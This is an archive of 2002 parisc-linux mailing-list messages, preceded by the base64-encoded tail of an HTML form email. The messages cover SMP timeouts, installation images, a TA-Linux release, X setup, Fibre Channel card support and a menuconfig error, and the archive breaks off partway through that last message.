L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0813021159--


From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP problem on K210/819
Date: Tue, 13 Aug 2002 09:50:47 +0300
Lines: 12
Approved: news@gmane.org
Message-ID: <3D58AC47.2010903@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621617 12285 80.91.229.3 (22 Nov 2014 02:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 00:50:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 92DEB4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 00:50:38 -0600 (MDT)
Original-Received: (qmail 29833 invoked from network); 13 Aug 2002 06:54:24 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 13 Aug 2002 06:54:24 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15804

SMP CALL FUNCTION TIMED OUT! (cpu=0)
SMP CALL FUNCTION TIMED OUT! (cpu=1)
SMP CALL FUNCTION TIMED OUT! (cpu=3)
SMP CALL FUNCTION TIMED OUT! (cpu=0)
SMP CALL FUNCTION TIMED OUT! (cpu=1)
SMP CALL FUNCTION TIMED OUT! (cpu=3)
After 17 days UP my server with kernel 2.4.18-pa54 shows this messages
ANyone has explain for these strange msgs?





From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric Boniface <eric_boniface@non.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Installation issue on 800/F10.
Date: Tue, 13 Aug 2002 12:07:55 +0200
Lines: 120
Approved: news@gmane.org
Message-ID: <3D58DA7B.2060808@non.hp.com>
References: <3D57E71C.3080402@non.hp.com>	<3D5833EF.7E12EACE@gmx.at> <20020813002340.53d3415a.varenet@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
 boundary="------------000204030404010304030305"
X-Trace: ger.gmane.org 1416621617 12288 80.91.229.3 (22 Nov 2014 02:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:17 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@gmx.at>,
	parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 04:05:46 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from gremg1.net.external.hp.com (grenmg1.net.external.hp.com [155.208.254.57])
	by dsl2.external.hp.com (Postfix) with ESMTP id 405D44829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 04:05:46 -0600 (MDT)
Original-Received: from non.hp.com (dhcp-15-204-135-106.grenoble.hp.com [15.204.135.106])
	by gremg1.net.external.hp.com (Postfix) with ESMTP
	id EB4EC3F8; Tue, 13 Aug 2002 12:05:35 +0200 (METDST)
User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.0rc2) Gecko/20020618 Netscape/7.0b1
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15805

--------------000204030404010304030305
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

thanks/merci for your help.
I will check this and I will keep you informed.

Rgds,
Eric.

Thibaut VARENE wrote:

>On Tue, 13 Aug 2002 00:17:19 +0200
>Christoph Plattner <christoph.plattner@gmx.at> wrote:
>
>  
>
>>Rebuild the linux kernel with CONFIG_PDC_CONSOLE enabled
>>and follow the help steps for setting up the machine:
>>    
>>
>You can try one of the handy PDC enabled ISO/lifimages available at:
>http://pateam.esiee.fr/cd-images/lifimages/
>http://pateam.esiee.fr/cd-images/testing/
>
>PDC enabled are tagged -PDC-
>the latest one features 2.4.19-pa2 kernel
>
>HTH,
>
>
>Thibaut VARENE
>The PA/Linux ESIEE Team
>http://pateam.esiee.fr/
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>  
>

-- 
Eric BONIFACE - Hewlett Packard / GBIT-EMEA Infrastructure Team Grenoble
Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
E-mail : eric_boniface@non.hp.com






--------------000204030404010304030305
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <title></title>
</head>
<body>
Hello,<br>
<br>
thanks/merci for your help.<br>
I will check this and I will keep you informed.<br>
<br>
Rgds,<br>
Eric.<br>
<br>
Thibaut VARENE wrote:<br>
<blockquote type="cite"
 cite="mid20020813002340.53d3415a.varenet@esiee.fr">
  <pre wrap="">On Tue, 13 Aug 2002 00:17:19 +0200
Christoph Plattner <a class="moz-txt-link-rfc2396E" href="mailto:christoph.plattner@gmx.at">&lt;christoph.plattner@gmx.at&gt;</a> wrote:

  </pre>
  <blockquote type="cite">
    <pre wrap="">Rebuild the linux kernel with CONFIG_PDC_CONSOLE enabled
and follow the help steps for setting up the machine:
    </pre>
  </blockquote>
  <pre wrap=""><!---->You can try one of the handy PDC enabled ISO/lifimages available at:
<a class="moz-txt-link-freetext" href="http://pateam.esiee.fr/cd-images/lifimages/">http://pateam.esiee.fr/cd-images/lifimages/</a>
<a class="moz-txt-link-freetext" href="http://pateam.esiee.fr/cd-images/testing/">http://pateam.esiee.fr/cd-images/testing/</a>

PDC enabled are tagged -PDC-
the latest one features 2.4.19-pa2 kernel

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
<a class="moz-txt-link-freetext" href="http://pateam.esiee.fr/">http://pateam.esiee.fr/</a>
_______________________________________________
parisc-linux mailing list
<a class="moz-txt-link-abbreviated" href="mailto:parisc-linux@lists.parisc-linux.org">parisc-linux@lists.parisc-linux.org</a>
<a class="moz-txt-link-freetext" href="http://lists.parisc-linux.org/mailman/listinfo/parisc-linux">http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</a>

  </pre>
</blockquote>
<br>
<pre class="moz-signature" cols="$mailwrapcol">-- 
Eric BONIFACE - Hewlett Packard / GBIT-EMEA Infrastructure Team Grenoble
Tel.(+33) 4 76 14 30 17 / Telnet : 779-3017
E-mail : <a class="moz-txt-link-abbreviated" href="mailto:eric_boniface@non.hp.com">eric_boniface@non.hp.com</a>



</pre>
<br>
</body>
</html>

--------------000204030404010304030305--



From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kaj-Michael Lang" <milang@tal.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] First test release of TA-Linux for parisc
Date: Tue, 13 Aug 2002 15:45:21 +0300
Lines: 27
Approved: news@gmane.org
Message-ID: <003301c242c7$530be9d0$56dc10c3@amos>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621617 12292 80.91.229.3 (22 Nov 2014 02:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:17 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 06:43:40 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from velli.mail.jippii.net (velli.mail.jippii.net [195.197.172.114])
	by dsl2.external.hp.com (Postfix) with ESMTP id 889104829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 06:43:40 -0600 (MDT)
Original-Received: from amos (unknown [195.16.220.86])
	by velli.mail.jippii.net (Postfix) with SMTP id 86CC61BFA3
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 15:43:32 +0300 (EEST)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4807.1700
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15806

I've been working on my own little distro for sometime now, and
I'm happy to announce the first test version of TA-Linux for parisc systems.

A bootable lifimage can be found here:
http://hotel.tal.org/pub/current/parisc/image/lifimage-20020812
and also from sourceforge:
http://sourceforge.net/project/showfiles.php?group_id=20130&release_id=10497
4

You should be able to perform a http install using the above image.
A couple of things that you need to know:
- Use http://hotel.tal.org/pub/current/parisc/ as install source url
- XFree86 is broken at this time.
- The installer is *very* simple, but works if you don't make any mistakes
:)
- Keymap install does not work, just skip over it.
- Palo needs to be installed manualy, but that shouldn't be a problem.

More information about TA-Linux can be found on its homepage:
http://www.tal.org/linux/talinux/

Enjoy :)

--
Kaj-Michael Lang , milang@tal.org



From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: question setting up consoles, x and stuff
Date: Tue, 13 Aug 2002 07:13:29 -0600
Lines: 48
Approved: news@gmane.org
Message-ID: <20020813131329.C4BD34829@dsl2.external.hp.com>
Reply-To: sanaya@gr.hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621617 12295 80.91.229.3 (22 Nov 2014 02:00:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:17 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 07:13:29 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4BD34829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 07:13:29 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15807

------- Forwarded Message

From: "Sean Anaya" <sanaya@gr.hp.com>
To: "Grant Grundler" <grundler@dsl2.external.hp.com>
Subject: RE: question setting up consoles, x and stuff 
Date: Mon, 12 Aug 2002 15:05:09 -0600

Grant,

Here are the numbers I found on the GFX card I'm attempting to use:

A4246A Geo Accelerator

A56200754026     These are the numbers I grabed off the frame buffer
A4246-66002

These two cards are jumpered together. Since I'm not familiar with HP
hardware, I
hope I grabbed the correct part numbers.

Sean

> -----Original Message-----
> From: Grant Grundler [mailto:grundler@dsl2.external.hp.com]
> Sent: Friday, August 09, 2002 6:26 PM
> To: sanaya@gr.hp.com
> Subject: Re: question setting up consoles, x and stuff
>
>
> "Sean Anaya" wrote:
> > Hello,
> >
> > I just recently installed hppa debian on a C180XP machine. I'm
> having some
> > trouble getting X setup and wondered i there was someone who
> could spare a
> > little time help me out.
>
> Sean,
> post which type of gfx card you are trying to use and
> the /var/log/XFree86.0.log to the mailing list.
>
> grant


------- End of Forwarded Message



From - Thu Nov 08 21:24:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000/L2000 + FC60 Fiber Support
Date: Tue, 13 Aug 2002 14:23:49 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <002c01c242cc$a9f51cd0$a52efea9@kpnqwest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621618 12297 80.91.229.3 (22 Nov 2014 02:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:18 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 07:24:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.KPNQwest.pt (smtp1.KPNQwest.pt [193.126.4.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id A4E1F482E
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 07:24:11 -0600 (MDT)
Original-Received: from relay5.KPNQwest.pt (ns2.EUnet.pt [193.126.1.97])
	by smtp.KPNQwest.pt (8.11.6/8.11.6) with ESMTP id g7DDOAY03784
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 14:24:10 +0100 (WET DST)
Original-Received: from LTP004440 (kq-it-gw.Lisbon.KPNQwest.pt [193.126.1.17])
	by relay5.KPNQwest.pt (8.11.6/8.11.6) with SMTP id g7DDNiQ22674
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 14:23:44 +0100 (WET DST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
X-MailScanner: Found to be clean
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15808

Hi,

Can anyone let me know is this cards are supported and they can be attached
to the FC60 from HP.


  Bus 16, device   0, function  0:
    Fibre Channel: PCI device 103c:1028 (Hewlett-Packard Company) (rev 11).
      IRQ 256.
      Master Capable.  No bursts.  Min Gnt=32.
      I/O at 0x20000 [0x200ff].
      I/O at 0x20100 [0x201ff].
      Non-prefetchable 32 bit memory at 0xfffffffff9040000
[0xfffffffff90401ff].
      Non-prefetchable 32 bit memory at 0xfffffffff9000000
[0xfffffffff901ffff].
  Bus 24, device   0, function  0:
    Fibre Channel: PCI device 103c:1028 (Hewlett-Packard Company) (rev 11).
      IRQ 320.
      Master Capable.  No bursts.  Min Gnt=32.
      I/O at 0x30000 [0x300ff].
      I/O at 0x30100 [0x301ff].
      Non-prefetchable 32 bit memory at 0xfffffffff9840000
[0xfffffffff98401ff].
      Non-prefetchable 32 bit memory at 0xfffffffff9800000
[0xfffffffff981ffff].


Thanks.

Antonio



From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/L2000 + FC60 Fiber Support
Date: Tue, 13 Aug 2002 14:29:49 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20020813142949.R27578@parcelfarce.linux.theplanet.co.uk>
References: <002c01c242cc$a9f51cd0$a52efea9@kpnqwest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621618 12301 80.91.229.3 (22 Nov 2014 02:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Ant=F3nio_Ribeiro?= <antonio.ribeiro@kpnqwest.pt>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 13 07:29:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E68E4829
	for <parisc-linux@lists.parisc-linux.org>; Tue, 13 Aug 2002 07:29:51 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17ebk6-00044Z-00; Tue, 13 Aug 2002 14:29:50 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <002c01c242cc$a9f51cd0$a52efea9@kpnqwest.com>; from antonio.ribeiro@kpnqwest.pt on Tue, Aug 13, 2002 at 02:23:49PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15809

On Tue, Aug 13, 2002 at 02:23:49PM +0100, Antnio Ribeiro wrote:
>     Fibre Channel: PCI device 103c:1028 (Hewlett-Packard Company) (rev 11).

according to the latest pci.ids, this is:
Tach TL Fibre Channel Host Adapter

hope this helps someone determine whether or not it's supported.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robert Stanford <rob@rotapile.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make menuconfig error in 2.4.19-pa3
Date: 14 Aug 2002 21:53:04 +1000
Lines: 275
Approved: news@gmane.org
Message-ID: <1029325986.7632.58.camel@rotapile>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621618 12306 80.91.229.3 (22 Nov 2014 02:00:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:18 +0000 (UTC)
To: mec@shout.net, Parisc <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug 14 05:53:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rotapile (dg-3-p42.winshop.com.au [210.8.124.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id B84484829
	for <parisc-linux@parisc-linux.org>; Wed, 14 Aug 2002 05:53:23 -0600 (MDT)
Original-Received: from localhost ([127.0.0.1] helo=localhost.localdomain)
	by rotapile with esmtp (Exim 3.35 #1 (Debian))
	id 17ewi2-0004Gj-00; Wed, 14 Aug 2002 21:53:06 +1000
X-Mailer: Ximian Evolution 1.0.7 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15810

Working from the top down in menuconfig the error happened while trying
to enter character devices (more at the end)

Using,
crosscompiler xc-20020118.tar.gz

on debian sid x86

---

Kernel Version 2.4.19-pa3

---

Menuconfig has encountered a possible error in one of the kernel's
configuration files and is unable to continue.  Here is the error
report:

 Q> scripts/Menuconfig: MCmenu30: command not found

Please report this to the maintainer <mec@shout.net>.  You may also
